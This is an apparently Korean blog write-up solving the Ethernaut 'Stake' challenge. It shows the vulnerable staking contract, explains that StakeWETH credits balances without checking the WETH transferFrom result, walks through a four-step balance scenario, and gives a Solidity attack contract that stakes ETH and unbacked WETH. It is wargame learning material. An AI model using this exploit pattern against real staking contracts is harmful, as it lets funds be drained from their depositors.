본문 바로가기
  • Show the world what you can do
Web3/Ethernaut

[Ethernaut] Stake 풀이

by kaymin 2025. 1. 18.
Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

 

Exploit

 

취약점은 StakeWETH()에서 (bool Transfered)를 검사하지 않고 바로 Stake balance를 변경시킨다는 점

 

 

Goal

인스턴스 이더 잔액은 0보다 커야됨

‘totalStaked > 인스턴스 이더 잔액’ 이어야함

Stakers[me]==True 여야함

UserStake[me]==0 이어야함

 

 

Scenario

player -> deploy 로 0.004 ether 주기

1. deploy 컨트랙트가 StakeEth()로 0.004 이더 예치

totalStaked = 0.004 

UserStake[deploy] = 0.004

Stakers[deploy] = true

inst.balance = 0.004 ether

 

2. deploy 컨트랙트가 StakeWETH()로 0.002 WETH 예치 (그전에 approve 해야댐)

totalStaked = 0.006

UserStake[deploy] = 0.006

Stakers[deploy] = true

inst.balance = 0.004 ether

 

3. player가 StakeWETH()로 0.002 예치 (그전에 approve 해야댐)

totalStaked = 0.008

UserStake[me] = 0.002

UserStake[deploy] = 0.006

Stakers[me] = true

Stakers[deploy] = true

inst.balance = 0.004 ether

 

4. player가 Unstake로 0.002 빼감

totalStaked = 0.006

UserStake[me] = 0

Stakers[me]=true

inst.balance = 0.002 ether

 

그대로 컨트랙트로 만들었다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IStake{
    function totalStaked() external returns (uint256);
    function UserStake(address) external returns (uint256);
    function Stakers(address) external returns (bool);
    function StakeETH() external payable;
    function StakeWETH(uint256) external returns (bool);
    function Unstake(uint256) external returns (bool);
}
interface IWETH{
    function deposit() external payable;
    function approve(address, uint256) external returns (bool);
}
contract call_stake{
    function ex() public payable{
        IStake stake=IStake(0x9D7cBF9882886BbB6139b0eC6C7e05819e0b2f64);
        IWETH weth=IWETH(0xCd8AF4A0F29cF7966C051542905F66F5dca9052f);
        stake.StakeETH{value: 0.004 ether}();

        weth.approve(address(stake), 0.002 ether);
        stake.StakeWETH(0.002 ether);
    }
    receive() external payable{}
    // 그뒤에 player가 weth예치 후 unstake하면 풀림
}

'Web3 > Ethernaut' 카테고리의 다른 글

[Ethernaut] Impersonator 풀이  (0) 2025.01.18
[Ethernaut] Puzzle Wallet 풀이  (0) 2025.01.18
[Ethernaut] Gatekeeper Three 풀이  (0) 2025.01.18
[Ethernaut] Double Entrypoint 풀이  (0) 2025.01.18
[Ethernaut] Re-entrancy 풀이  (0) 2025.01.18

댓글